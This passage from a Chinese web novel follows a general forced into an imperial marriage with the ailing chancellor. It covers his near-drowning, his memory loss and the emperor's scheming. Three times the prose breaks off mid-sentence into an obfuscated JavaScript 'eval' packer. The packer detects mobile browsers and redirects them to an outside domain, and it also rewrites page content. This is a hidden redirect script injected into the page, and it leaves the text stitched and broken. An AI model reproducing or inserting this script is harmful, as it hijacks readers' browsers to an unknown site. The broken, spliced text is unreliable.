论理,俞书礼此次班师回朝,是要袭爵的。 但皇帝有自己的打算,硬是拖了几日,都不办理庆功宴。 俞书礼不傻,他知道皇帝在畏惧自己。 所以他必须要趁现在,把皇帝的质疑降低到最低。 一个喜欢男人,不会有后代的将军,自然,也就不会有什么威胁了。 只是俞书礼到底是单纯了些。 赵武帝毕竟做了这么些年皇帝,自然阴鸷狠厉,手段残忍。 初听到俞书礼说的话的时候,他确实是震惊的,也信了几分,但转瞬间,就想明白了。 俞书礼这个小狐狸,有异心了。 赵武帝沉吟一声,拾级而上,重新回到龙椅上,居高临下看着俞书礼:“既然如此,朕这里,倒是有一桩,更为适宜你的婚事。” ** 俞书礼脚步一高一低地出了皇宫。 到了宫门口,他的脑子还是混沌的。 “儿啊,你去哪儿啊!”俞华信匆匆忙忙跑过来,拉住俞书礼的手腕,往左指道:“家在那头呢,你去的方向,是丞相府的方向啊!” 俞书礼眼中空洞了一瞬,“哦”了一瞬,然后胡言乱语道:“反正早晚要去了……” 俞华信没听明白,只是把儿子焦急地塞进了轿子里。 “出来就好,没事就好。”俞华信抱着俞书礼,哭的老泪纵横。 片刻后,俞书礼才神游天外般灵魂落地。他看了一眼自家老爹,慢吞吞道:“也不算……没事。” “啊?!”俞华信一急,掏出免死金牌:“那爹拿这个去,好使吗?” “可能不太好使……”俞书礼闷闷地掀起车帘,声音有些轻:“陛下……要给我和魏延赐婚。” 俞华信睁大了眼睛:“啊?!!!” 4. 遇纨绔 皇帝给魏延和俞书礼赐婚的消息不胫而走。 京中多了两波伤心人,一波暗恋魏延的,一波暗恋俞书礼的。 庆功宴的请帖递到将军府的时候,俞书礼正翘着二郎腿,剥着瓜子看那两个青楼里带回来的小厮演双簧戏。 “吃吃吃!就知道吃!”俞华信一把拍掉他手上的瓜子,“你的婚事呢?!不关心了?你真要嫁给那个魏延?” “老爹,你注意用词,”俞书礼轻哼一声:“什么叫我嫁给他?小爷怎么可能嫁给他?他病秧子一个,长的又是那个模样,是他嫁给我还差不多!” “这时候是注意用词的时候吗?小兔崽子!”俞华信拍了他后脑一巴掌。 俞书礼“诶呦”了一声,拍掉手上沾着的瓜子壳,挥退两个小厮,这才缓缓抬眸:“爹,你想过没有,陛下为何还没下圣旨,却任由这舆论发酵?” 俞华信只会打仗,脑子没那么多弯弯绕绕,闻言眨了眨眼:“你的意思是……陛下不是诚心要赐婚?” “嗯。”俞书礼站起身:“陛下觉得我们有异心,在试探我们呢。” “那怎么办?”俞华信一把拉住他的衣袖:“这婚难道真要成不成?可魏延那是个男人啊?!你怎么能和男人成婚?” “爹,你别急,事情还是有转机的。”俞书礼道:“这庆功宴就是很好的机会。只是……”他声音顿了顿,思忖道:“陛下此举,是在逼我们急流勇退,若是我怕了,恐怕从此在二皇子面前,很难抬头了。” “二皇子?”俞华信一滞:“这和二皇子有什么关系?” 俞书礼愣住。 遭了,忘了他是二皇子党这件事情,他爹还不知道呢。 俞书礼轻咳一声,干脆顾左右而言他:“反正,这也不是我一个人的事情。那魏延也是被赐婚的,你看他急不急嘛,到时候说不准也不需要我们动手。” 俞华信一听,倒是心安了。 也对,魏延听说要娶个男人,还不得跳脚?他肯定是第一个千方百计悔婚的。 父子俩点点头,傻笑一声,然后手挽着手,晃晃荡荡往庆功宴去了。 “儿啊,那你说,爹这免死金牌还带不带?” “别带了,带什么带。魏延那个老狐狸,手段多的是,咱们就别掺和了。” * 父子俩到宫里的时间还早,晚宴还未开始,俞华信寻了自己以前的老伙计们叙旧,俞书礼就一个人在御花园乱逛,拧了一把小吃在池塘边喂鱼。 “呦,咱们的新娘子来了?”一声尖利的嘲讽从背后传来。 俞书礼皱着眉头回头。 “你看,他还真的回头……哈哈哈哈哈哈,俞书礼,看起来,你是真的很想做这个新娘子呀。” 沿路走过来的是吴鹏和刘云辉一行人,俞书礼看了一圈,没有看到魏延。 什么时候,这群人没有魏延撑腰,敢在他俞书礼小霸王面前撒野了? 俞书礼勾了勾唇,一块不大不小的石头顺着吴鹏的发丝砸过去,把吴鹏吓的面色惨白。 俞书礼笑了笑,缓缓开口:“吴鹏,你着什么急?你也未必喝的到这喜酒。” 吴鹏嘴上生硬:“切,我是魏延表弟,我凭什么喝不到喜酒?” “因为……”俞书礼轻踏着脚步,走近了一些,低声道:“马上边关征军,届时我必为主帅。我瞧你不顺眼,打算带你去。像你这样的人,在战场上活不过三天,我应该能吃到你的丧酒。而所谓的喜酒,倒是遥遥无期。” “你!你简直荒唐!胡乱戕害人性命!” “胡乱戕害?”俞书礼语气重了些:“在你的眼里,原来上战场竟然是胡乱戕害人性命?大丈夫保家卫国、视死如归,应是赤胆忠心!在你眼里竟然是此等恶行?我带你上战场有什么错?你难道不想为陛下,为家国贡献自己的一份力量?” 四周围观的人大气不敢出,毕竟俞书礼这样一大口锅下来,闹到陛下跟前去,不掉脑袋都算是轻的了。 被俞书礼一通洗脑,吴鹏声音都抖了,这种京中贵公子最怕的就是上战场,此时怕的话都说不明白了:“总之……陛下才不会同意你胡乱征军!我……我有表哥!表哥才不会同意让你带我去边关吃苦呢!” “陛下当然会同意,我也当然会同意。”魏延从不知道哪里走了出来,肩膀上照旧披着长氅,气色倒是红润了些,看来太医的诊治十分及时,连他的脸都不再那么死气沉沉了。 “战场之上,主帅为大,俞小将军为国征战,要个一两个助手,合情合理。” “你整日在京,反正本就无所事事,上个战场既能建功又能立业,有何不可?”魏延声音清冷,面向吴鹏,声音彷如在冰窖中发出:“吴鹏,道歉。” 吴鹏睁大了眼睛,指向俞书礼:“表哥,你要我向他道歉?我偏不!他算是什么东西?一个粗野莽夫。你凭什么护着他?就因为他马上要嫁给你了?可我还是你弟弟呢!” 俞书礼一挑眉,对于现在这种情况只能说是意外。 魏延来了,不仅没有帮着自己表弟,两人竟然还狗咬狗起来。 俞书礼似笑非笑地看过来,扔了手中准备砸向吴鹏太阳穴的石头,然后双手环抱,呈现看戏的架势,还从边上宫女手中接了盘瓜子,漫不经心地嗑了起来。 “放肆!”见到吴鹏如此无礼,魏延的声音气的都在发抖:“俞小将军是守边功臣,岂容你诋毁?” “跪下,道歉!” 吴鹏尖叫起来:“你要我跪他?他何德何能?” 还未待众人反应,“砰”的一脚,魏延已经将吴鹏踹倒。 吴鹏没反应过来自家表哥一个病秧子哪里来的这么大的力气,他懵懵抬头,脸上是不可置信:“哥,你踹我?你为了一个莽夫,踹我?!” 魏延垂眸,眼中冰凉:“第一,在宫中,只论品级,不论亲属。本丞相官级一品,俞小将军官拜二品,而你是从五品小吏,按照尊卑,需要行礼。第二,陛下有过下令,嘲讽驻边将士,牢狱三年,削官降职,罚银千两。” “稽刑司从不偏私,今日,你若求得小将军原谅,本官念在你是初犯,可以饶你牢狱之灾,但罚银一分不少,本官自会去吴中丞府上讨要。” 吴鹏自然没想到,只是嘲讽一下区区俞书礼,能闹到魏延去找他爹的程度。他闷着头,不敢再诋毁了。 俞书礼眸子动了动,叹了口气。 他就知道,魏延来了,他就占不到什么便宜了。本以为的两狗互咬,也不过是魏延为了保下吴鹏做的把戏。 本来还可以借题发挥,把吴鹏搞进牢狱去坐坐的,可惜了。 不过魏延能面不改色地踹翻吴鹏来弥补他的脸面,又能口头上下了吴鹏的面子,俞书礼已经很顺心了。 毕竟吴鹏是他魏延的亲戚,丢的也是他魏延的脸嘛。 俞书礼换了个姿势,看向吴鹏:“行,爷准备好了,磕头吧。” 吴鹏被魏延的话唬的一愣一愣的,一时之间没有站起来。 “真的假的?”他看向一旁早就噤声旁观的兄弟们,询问法条:“陛下真这样说过?” 几个好哥们都是纨绔,哪里懂什么法条,他们讪笑了下:“丞相大人都说了,必然是真的了……” 吴鹏心有不满,还待再说,俞书礼手中的瓜子壳直接砸了过来,手中用了劲道,砸的吴鹏额角都红了。“快磕头,你爷爷等着呢。” 吴鹏瞥了眼魏延,见他对俞书礼纵容的样子,只能闷沉着脸,掩下仇恨的表情,胡乱又羞耻地磕了这个头。 俞书礼也不是蹬鼻子上脸的人,见他磕了头,也就放过了他。他把视线放到躲在后面的几个公子哥身上,轻“嗤”了一声,骂了句“孬种”,把手上剩余的瓜子还给宫女,就大摇大摆往远处亭子去了。 魏延盯着他的背影看了一眼,转头看向还跪着的吴鹏:“再有此等行径,休怪我不顾亲戚颜面。” 说完也没再看吴鹏,而是转头瞥了眼站在人群中的刘云辉,深邃的眼眸锐利了些:“好自为之。”说完就拂袖离开了。 吴鹏见他走了,才敢往地上啐了一口,暗骂:“都这般羞辱我了,本也没给颜面!” 看到魏延走远,周围围着的公子哥这才齐齐聚过来,把吴鹏扶起来,又帮他去拍身上的灰尘。 刘玉辉摸了摸鼻子,无视刚刚魏延警告的眼神,凑到吴鹏身边:“吴哥,放心,那俞书礼也嘚瑟不了多久了,到时候等他进了门,还不是随你欺负?” 边上的张声和邓方海是吴鹏的好友,此时也应和道:“就是就是!” 得到附和,刘云辉又得意了起来,他放低了些声音:“谁不知道你那表哥身子虚,没多少日子了?魏家没有其他儿子,等他去了,你在你姑姑面前多美言几句,尽尽孝,到时候魏家的家产不都是吴哥你的?到时候,那俞书礼作为你名义上的嫂子,你想要怎么欺负都行。说不准,他为了生存,还要主动来攀附你呢。” 几人嘻嘻哈哈,都心照不宣露出一个暧昧的笑容。 吴鹏想了想俞书礼那虽然讨人厌,但实在长得好看,一副秀色可餐、细皮嫩肉的样子,眼睫动了动,白他一眼:“要你说?”他挥了挥衣袖,看了魏延离开的方向一眼,转身往背后的方向走去。 一群人大气不敢出,追了过去。 魏延来到亭中的时候,俞书礼正翘着二郎腿,坐在亭子的栏杆外,心不在焉地喂鱼。 魏延的视线落在俞书礼那双纤长的腿上,微风拂过,竹帘碰撞发出清脆的声响,像是奏乐的丝竹声,魏延喉结动了动,走过去。 “你不开心?” 俞书礼回头,看到魏延跨过栏杆,坐到了他身边。 俞书礼皱了皱眉头,正要嫌晦气地走开,却听魏延道:“订婚的事情……” 俞书礼回头,怒目瞪他,嘲讽道:“丞相大人听到这个消息,应该很得意吧?” 魏延的动作一滞,“我没有。” “你迟迟不向陛下请求退婚,不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有妄自菲薄,我不过是说一件再普通不过的事实。这婚约,于你于我,都是好事,不是吗?”魏延将俞书礼又探出些的身子往栏杆边推了推,见他发着呆,跟着他的动作乖乖往里靠了靠,不由得弯了弯嘴角。 俞书礼心中刚刚松懈了些,在思考和魏延合作的可能性,却听魏延又随意地问道:“你与二皇子有往来?” 本来放下的戒心瞬间又拔升到了极致,俞书礼仿佛被兜头泼了一盆冷水。 是了,两人一个是太子党,一个是二皇子党,怎么可能合作? 魏延看过来,眼神有些温和,似乎不是在探究,而是心平气和,像是在和朋友闲聊一样。 他丝毫不在意俞书礼按在他脖子上的手,静寂的眸子中有水光流动,“不方便说,也可以不说。” 俞书礼恍惚了一瞬,瞬间就有些蔫吧。 他果然还是斗不过魏延。 短短聊天几句,他差点放松对魏延的戒心,甚至连老底都快被他扒出来了。 “魏延,”俞书礼甩开手,不再看向魏延,“你不管就算了,我自己会去退婚。” 他还有军功可以相抵,无论如何,都没到要低声下气请求魏延或者坐以待毙的程度。 再不济,还有老爹那块免死金牌呢。 俞书礼这样想着,心中还松了口气,转身离开。 他脚步迈的很大,面色和缓了些。 背后的魏延却突然惊慌失措地向他抓来,声音都在抖,喊他的名字:“俞书礼!” 俞书礼愣了愣,还没反应过来魏延在急些什么,就听“砰”的一声。 他一脚踏空,耳边的声音全部静止,口鼻里溢入漫天的水。 这才想起来,他刚刚站的位置,再往前走,可不就是池塘? 御花园里的池塘挖的很深。 俞书礼不会水,掉落池塘之后,不停地呛咳,结果却是喝了更多的水。 他不停地扑腾,可是没有用,反而越陷越坠落。 池塘深不见底,秋日的水也很凉,浑浊的水让他的眼前一阵刺痛。 闷厥的死亡气息袭来。 要死了吗? 魏延不会想要救他的,两人是死敌。 况且他想救也救不了,一个病秧子,在这种秋日落了水,和寻死没什么分别。 临死前,俞书礼只觉得自己蠢的可以,怎么会一脚踏空,踏到御花园的池塘里去呢? 一想到过会儿就会有禁卫过来当着今日那么多将士的面捞他的尸体,就觉得丢脸。 没有死在战场上,却死在池塘里,实在不算体面。 俞书礼脑中开始混沌,眼前不停地开始走马灯。 视线中竟然突然出现一个压根不可能出现的身影。 他睁大了眼睛,不顾刺痛的双眼,看向游向他的越来越近的男人。 在昏厥前,心中低骂:他疯了吧? 5. 出大事 俞书礼晕过去前,被接入一个冰凉的怀里。 他最后的记忆是,他的身体……好冷啊。 这种感觉还没消散,却突然感觉到唇上贴上了一片火热。 再然后……再然后俞书礼就不争气地失去了所有意识。 再醒过来的时候,眼前一片昏暗,唯有一处星星点点的火光亮着,俞书礼艰难地睁开眼,认出来这是在皇宫里。 脑中一片混沌,仿佛浆糊一般捣在了一起。 所以他……发生了什么?不是在战场上吗?怎么睁眼醒来,已经在皇宫了? 头疼的厉害,喉咙里仿佛有火在烧。 俞书礼刚侧过身,想要开口说话的时候,就感觉喉咙里有什么奇怪的东西,他猛地一咳,结果咳出来一棵水草。 ? 什么玩意儿,他打仗打到水里去了? “儿啊!你醒了?!”俞华信本来趴在桌上小睡,将领出身的他睡的并不踏实,一点声音就足够把他吵醒。 俞书礼咳嗽了半天,俞华信反应过来是儿子醒了,连忙冲过来,眼中是失而复得的喜悦,他抱住俞书礼,哭道:“还好醒了!还好醒了!” “爹……”俞书礼嗓音滞涩地开口,有些疑惑地看向自己的父亲,问道:“我这是……怎么了?” 俞华信顿了顿,手指抖了抖:“你溺水了,忘啦?” “溺水?”俞书礼摇了摇头:“可是西昭境内,皆是干草枯原,并无流河……” 俞华信眼中震惊:“儿子,你都不记得了?!”他一只手撑着儿子,一只手挠了挠头:“你早就击退了西昭国,回到大梁了啊。” ……回到大梁了…… 俞书礼那双漂亮的眸子中皆是困惑和不解。“我的记忆里……我还在边境,追夺五良县……” 俞华信沉默了片刻,突然朝外面大喊:“救命!快来太医!出大事了!” 太医早就等候在外,听到喊声,连忙进来,对着俞书礼又是号脉,又是扒眼皮,查了半天。 俞书礼乖巧地不动,任由他们检查,实则早就神游天外了。 他似乎……失忆了? 为什么?究竟发生了什么? 徐太医战战兢兢,对着俞华信板着的脸,哆嗦着分析道:“从表面看,小将军并无什么异常,许是落水受了惊,再等两日就能好了……” 俞华信又看向边上板着脸,头发都花白了的老者,俯身问:“杨太医,您怎么看?” 俞书礼也认得杨太医,知道他是宫里最德高望重的,只是脾气古怪,一般是不出诊的,心中也暗暗感慨自己这个落水,竟然能如此兴师动众。 “喉咙和胸腔里都难受?”杨太医按了按俞书礼的脉,问。 俞书礼点点头。 杨太医看着俞书礼,闷闷地“嗯”了一声,道:“还好丞相大人捞的快,再晚些,肺部积水多了,对你往后身体也有影响。” 俞书礼张了张嘴,似乎有些没听清他说了什么。 俞华信倒是老实点头,感慨道:“这次确实是……魏丞相是我们季安的救命恩人。” 俞书礼眨了眨眼,问:“魏丞相……是谁?” 俞华信一脸心疼:“我的儿,那魏延不是你死对头吗?连他都忘了?” 魏延…… 俞书礼记忆中,他们不是……好友么?何时变成了死对头?而且他怎么都做到丞相了?他不是还在准备殿试吗? 他有些摸不清状况,干脆摇了摇头:“我不记得。” 知道是魏延救了自己,联想到他病弱的身体,俞书礼的脸上有些紧张:“魏延没事吧?” 见他态度诚恳,杨太医板着的脸松了些:“魏丞相也醒过来了,只是尚在发热,能不能躲过这一劫,就看命了。” 俞书礼有些愧疚,抿了抿唇:“他……”他慢慢从床上爬起来:“我去看看他。” 俞华信一把按住他,心肝儿肉地哄他回去:“爹帮你去瞧瞧,你安心养养,别急着走动,过会儿还要喝药呢。” 俞书礼有些无奈:“爹,我只是落水,又没病。”他还想往外走,被杨太医劝住:“现在魏丞相还没脱离危险,小将军还是先顾好自己,这样老臣就能把更多心思花在那边了。” 俞书礼本来还想让杨太医帮自己看看脑子,找找失忆的原因,听他这样一说,倒是愧疚非常,只能闭口不谈,然后亲自送了杨太医离开。 打发完父亲去看魏延,俞书礼一个人坐在床边,摸了摸那身扔在一边湿透了的甲胄。 现在……究竟是什么年代了? 他究竟忘记了多少事情? * 俞华信见儿子差不多好了,也不好在宫里逗留,只好回去了。 而皇帝知晓了俞书礼和魏延落水的事情,倒是破例把两人留了下来养病。 等了两日,熬到后半夜,俞书礼把伺候的宫女和太监都屏退了。 他从床上摸起来,胸中还是不舒服地咳嗽了几声。他换好衣服,轻巧地翻出窗户,避开了巡守的侍卫,往早就打听好的魏延的房间而去。 窗户发出一阵轻微的声响,过了一会儿,窗外发出一阵细微的猫叫。 守夜的侍卫打着哈欠,压根没有往窗户这边看。 俞书礼迎着月色翻进屋内,却因为胸腔一阵发痒,忍不住低低咳嗽了一声。 他额角都是冷汗,下意识去看床上,却看到床上的人睁着一双眸子,正迎着月光看向他。 月光下,魏延的脸色愈加惨白。 俞书礼记忆中的魏延,还没有这样瘦。 他走近了些,梗了梗脖子,对上魏延的视线,有些担忧地低声问:“还好么?” 魏延的目光就定在他身上,一双深邃的眸子动了动,纤长的眼睫颤了颤,然后才缓缓“嗯”了一声。 俞书礼坐到他的床边,喉结滚了滚,然后慢吞吞把手探到了他额头上。 魏延怔了怔,下意识想避开他的手,却又突然没有躲。 俞书礼深夜在外面穿行,刚进屋子,又是刚落过水,手指有些微凉,触到魏延滚烫的额头之后,他下意识一缩,无意识开口:“这么烫?” 门口的侍卫听到了刚刚俞书礼掩饰用的猫叫的声音,皱了皱眉,走了两步,似乎是要过来开门。 俞书礼一慌,连忙翻身,从魏延身上爬了过去,藏在了床最里侧。他朝魏延做了个口型:“兄弟,我躲躲。” 他没有看到魏延略有些阴沉的脸色,哥俩好地缩进了魏延另一边的被子里,还贴心地帮魏延把被子揶好。 侍卫轻轻开门进来,魏延终于动了动,把床帘下了一半下来。 “大人……您还醒着?”侍卫小心翼翼往里面打量了一眼。 “嗯。”魏延咳嗽了几声,低低开口:“有什么事?” “没事……没事……听到些动静,怕有歹人,所以进来瞧瞧,您好生休息吧。” 魏延“嗯”了一声,声音有些严肃和低沉:“别再进来打扰我了。” 侍卫见他脸色难看,连声道歉,又小心翼翼出去了。 门被“啪嗒”一声关上,俞书礼埋在被中,隐约能听见侍卫们走远了些的脚步声。 他猛地从充满了魏延气息的被子中逃出来,长呼了一口气。 “很难闻吗?”魏延垂眸看他。 “什么?”俞书礼发丝沾在脸上,有些傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“俞书礼。”他突然开口,“你别以为,你讨好我,我就会退婚。” 他转过头,回看过来的眼神冷静又漠然:“退婚,绝无可能。” 本以为会看到俞书礼厌弃的眼神,结果魏延等了半天,只等来了一个毛茸茸的脑袋。 俞书礼歪着脸凑过来看他,眼中没有恶心与厌恶,只有好奇和揶揄:“什么退婚?你要成婚了啊?” “可以啊魏仙卿,你成婚怎么不通知我啊?”他挠了挠头,“嘶,但你为了救我落了回水,会不会影响你婚宴啊?” 他的眼睛上下打量,最后落定在魏延的大腿上方。 魏延顾不上回应俞书礼色、情打量的眼神,反而被他无意识的称呼完全控摄住。 俞书礼已经许久没有亲昵地叫过他的字,最后一次这样叫他“魏仙卿”,是在三年前。 对于他人而言,可能是叫名更为亲密,但他和俞书礼两人却是相反的。 魏延额角一跳,思忖了许久,终于意识到俞书礼今日异常在了哪里。 他忘了。 他忘了两人闹掰了。 魏延突然抬眸,眼中是从未有过的明亮。 伴着月光,他的声音温柔蛊惑:“你不记得了?你我已经私定终身了。” 俞书礼窝在魏延被中的脚一个抽搐。 他脸上的表情堪称精彩,一张漂亮的小脸霎时间姹紫嫣红。 “你……你……你……你他爹的在逗我?” 6. 不害臊 “魏延,你别是因为我落水失忆了,故意拿这种事情寻我开心吧?”俞书礼上下打量魏延的脸色,眼睛睁的大大的。 他果然失忆了。 魏延心中确认了这一点,便低低地笑了一声,握住他颤抖的手指:“你觉得我在开玩笑?” “若不是你我有那层关系,你觉得以我如今的身体状况,会冒死下水救一个普通兄弟?”魏延强调了“兄弟”这个字眼,似笑非笑地用手指在俞书礼的手心打转。 掌心滚烫的热度让俞书礼一阵瑟缩。 一时分不清到底是魏延发烧了,还是他自己发烧了。 俞书礼心想:一觉醒来,怎么天塌了,人疯了…… 他吞了吞口水,试图垂死挣扎:“讲道理,魏延,我们俩的关系也不仅仅是普通的兄弟吧?我们不是好哥们吗?冒死救好哥们什么的……” 俞书礼梗着脖子还待说什么,却被魏延灼热暧昧的视线打断。 他这眼神,可不是看好兄弟的眼神。 俞书礼闭了嘴,将手心猛地抽了出来。“反正我不信。” 魏延轻笑了一声,身体微微后仰,胸有成竹地垂眸看他:“你要我如何证明?” 俞书礼一时失语。 是啊,怎么证明? 他慢吞吞从床上起身,试图跨过魏延下去:“我……我回去问问我爹……” 魏延突然伸手,一把拉住了俞书礼的手腕。 本来横跨在魏延身前的俞书礼一抖,整个人凭空掉在了魏延腿上,坐了上去。 魏延闷哼了一声,但是没有松手,反而眸色深了深,握的更紧了。 俞书礼挣了挣,竟然没有挣开。 他:? 魏延动了动腿,俞书礼就这样从他大腿滑下去。 如此正面对上魏延似笑非笑的视线,还避之不得,俞书礼一慌,手掌往下一撑,触感古怪,他往下一看,才发现好像撑在了不该撑的地方。 魏延轻哼一声,问:“如何?” 俞书礼:……不得不说,还挺大…… 不是!他到底在想些什么! 俞书礼尴尬地笑了笑,想要挪下魏延的腿:“我说我不是故意的……你信吗?” 魏延没回应,只是阻止他从自己的腿上下来,嗓音有些低哑:“我证明给你看。” 俞书礼:“啊?” 魏延将他的身体拉近,另一只手揽向他的腰。 两人的呼吸贴近,滚烫的温度烧到俞书礼的侧颊,他整个人烧成了猴屁股。“干……干嘛?” “你问我怎么证明你我早就私定终身了。”魏延道:“我当然要证明给你看。” 他的视线落在俞书礼嫣红的唇上,然后挪开,微微侧过头,吻在了他的脸颊。 “咔”的一声脆响。 俞书礼握着手上被他卸下来的床沿横条,心跳如鼓。 “我……我们……已经到了这个地步了吗?”他一骨碌从魏延身上翻下来,几乎是手忙脚乱地爬下床,语无伦次道:“哈哈哈……原来早就亲过了啊……哈哈哈……也不是很紧张……你的水平很普通嘛……哈哈哈……亲……亲一下而已……你别紧张……” 魏延看他慌乱的模样,有些忍俊不禁地从他手中把那横条抽出来,温柔道:“小心木刺。” 两人手指一接触,俞书礼又是一抖。 “你好像……有些敏感……”魏延低低地笑着。 “笑什么笑?!”俞书礼呲着牙,怒气冲冲看过来。 “好,不笑了。”魏延摊开手,努力抿住唇。 但月光在这个时候照进来,恰好能让俞书礼看见他水润荡漾的眸子,那眼尾的弧度,分明是在笑的。 “你……”俞书礼羞的厉害,分明被占了便宜,论理他应该一拳轰在魏延的脸上的,但是见他这样笑意盈盈的样子,又莫名下不去手。 俞书礼只好提步离开:“我……我走了。” 魏延叫住他,指了指门:“就这么出去?”他歪在床背上,有些狡黠地看过来:“被人看到的话,我是无所谓,但是小将军不会害臊吗?” 深夜来看私定终身的对象什么的…… 俞书礼一咬牙:“不!害!臊!” “行。”魏延一摊手,想要笑,却不经意咳嗽了两声:“那我没意见了……” 俞书礼本想一走了之,听到他咳嗽,又犹豫地回头。 魏延伏在床边,黑发有些挡住了他的脸,看不清他的面色。 似乎察觉到了俞书礼回头,魏延勉强抬头,笑了笑。 “怎么?还想陪我?” 俞书礼支支吾吾:“你……你还好么?”一时间甚至有些心虚,他来了这么久,只关心自己的失忆问题和两个人的情感关系,压根没关心魏延。 他为了救自己,可是真真正正去了半条命的。 “我无事,你回去吧。”魏延将床帘彻底拉了下来,却掩不住他闷沉的咳嗽声。 俞书礼怎么可能放心回去? 他往回走了几步:“我帮你叫太医吧?” 魏延咳的厉害,只是伸了只手出来,晃了晃,示意不用。 俞书礼没有走,站在原地,听他从闷沉的咳喘到逐渐平息呼吸。 魏延知道他还没走,解释道:“叫了太医也没用……浪费时间罢了。” 俞书礼觉得心里闷闷的:“谁说的!杨太医医术那么好,一定有办法……我……我去叫他……” “别去!”魏延叫住他,又招了招手,示意他过来。 俞书礼犹豫了下,还是走回了帐边。 魏延突然出声:“俞季安,我本来就活不了太久了。” 俞书礼掩住胸口的滞涩和自己的慌乱,顾左右而言他:“你的药喝了吗?太医给你开过药了吧?你有乖乖喝药吗?我记得你总是偷偷将药倒掉。” 魏延叹了口气,沉默住了。 “果然没喝!”俞书礼一下子像是找到了自己能做的事情,眼中微微亮了亮:“我去让人熬药!” 魏延猛地从床帘中伸出手,一把再次准确握住俞书礼的手腕。 俞书礼这次没有躲开,反而慢慢地握住了他滚烫的手。 “你……你乖乖喝药。”他一个将士,从没有低声哄过人,眼下还有些不适应,但想到魏延为了他才这样,又努力掩下那些难堪,劝道:“你不喝药,当然不会好。你好好喝药,才能好。” 魏延不知道在想些什么,闷在床帘中,一直没有说话。 隔了许久,才轻轻地“嗯”了一声。 “那……那我帮你叫人?” 又是隔了许久,魏延才“嗯”了一声。 俞书礼松了口气,刚想抽手离开,却感觉到握着他的手骤然紧了紧。 剧烈的咳嗽声伴随着浓烈的血腥气从帘帐中传来。 俞书礼心头猛地一跳。 “魏延!”他用力掀开床帘,见到男人趴伏在床上,侧面是一大滩血渍。 俞书礼的声音都在发抖,环住魏延纤薄的背,朝门口大喊:“快宣太医!” 门口远处的侍卫听见了声音,虽然疑惑这出声之人不是魏延,但也意识到事情的严重性,连忙跑去太医院。 * 宫中最为尊贵妃子寝宫——朝阳殿内。 赵武帝若有所思地抚着贤妃光滑的背,听着下属汇报。 “你说,俞书礼刚醒,就偷偷摸摸去见了魏延?”他声音有些低,听不出来情绪。 隔着珠帘,下属也能看到一个纤瘦美艳的女子趴伏在皇帝怀中。 他不敢抬头,目不斜视地盯着地板:“确有此事。魏延咳血晕厥,是俞书礼替魏延叫的太医。” “这两人……”赵武帝紧紧皱着眉头,“难道有真情?” 贤妃嗤笑了一声,柔胰推了推皇帝,笑道:“陛下,难道没听过民间传言?” 赵武帝垂下眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961461|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她:“哦?” 贤妃直了直身子,看到自己现在衣冠不整的模样,到底有些羞涩,她把衣衫揽好,这才缓缓道来:“魏丞相曾经心仪过俞书礼那个二姐。” “二姐?” 贤妃“嗯”了一声:“是他二伯父的那个女儿,俞苗苗,后来失了智的那个。” 赵武帝这才有了印象,“哦”了一声。 “后来不是出了那桩事情?因为魏延私会俞苗苗,导致她在外受辱,俞书礼当时在军营,回来之后,得知此事,气急就与魏延决裂了,两人后来几乎是老死不相往来。” “我倒是知道他们两人不和,却没曾想是因为这桩事情。”赵武帝似乎有些不解:“为了一个女人就不和,这俩人……” 贤妃用指甲刮了刮赵武帝的手背:“诶呀,陛下。男人和男人不和,不是因为利益,就是因为女人嘛。” “你说的……也是。”赵武帝想了想,点了点头。 他看向外面依旧跪着的下属,问道:“那俞书礼叫完太医又做了些什么?” 下属垂眸老实回答:“好像……把魏延身边的侍卫,都换成了他自己的人。” 俞书礼如今还没拿回兵符,但胜在打仗多,名气大,拥护的人自然就多。 他手里头不仅有他父亲从前的部将和门生,还有他自己手下的将领。 这也是皇帝忌惮他的原因之一。 赵武帝愣了愣。 贤妃又道:“这俞书礼,原来是趁着魏延昏迷安置自己人手,手伸的也太长了些,好大的胆子,他手中又没有兵符,不知道在嚣张些什么。” 赵武帝摇了摇头:“你一个女人懂什么?如今大梁边关全靠他,朕必须仰仗他,他在宫中就不能出事。他仰仗的,就是朕的偏爱。他这是不满意朕给他和魏延赐婚,在示威呢。” “那他也太过分了。先前明目张胆拒绝江宁郡主,现在又想要提防陛下安排的人。”贤妃轻哼道:“陛下可别轻饶了他。” “不。”赵武帝却反而笑笑:“正是他这样反抗,朕才安心。做什么惩罚他?这一纸婚约,既能牵制俞书礼,又能牵制魏延,朕想不到比这更好的买卖了。” “陛下好厉害。”贤妃笑了笑,拧了颗葡萄,剥了皮,喂给皇帝。 赵武帝满意地咽下,把视线移到贤妃身上,露出得意的目光,见到她崇拜爱慕的样子,忍不住继续炫耀。 “他以为换了两个侍卫,控制住魏延,就能威胁朕,让朕取消婚约?天真。魏延不过是朕的一颗棋子,纵使舍了又何妨?”赵武帝心情颇好地提起一边的烈酒,捏开贤妃的唇,将酒倒了进去。 “朕偏要让这两人,狗咬狗。” 贤妃歪了歪,撞到了边上的桌案,把一张空白的圣旨撞落在地上。 清冽醇厚的酒香从贤妃的嘴角溢出。 她轻哼了声,闭上嘴将酒乖巧地咽下。“陛下英明。”她的手指缓缓贴上皇帝的胸口,一路往下。 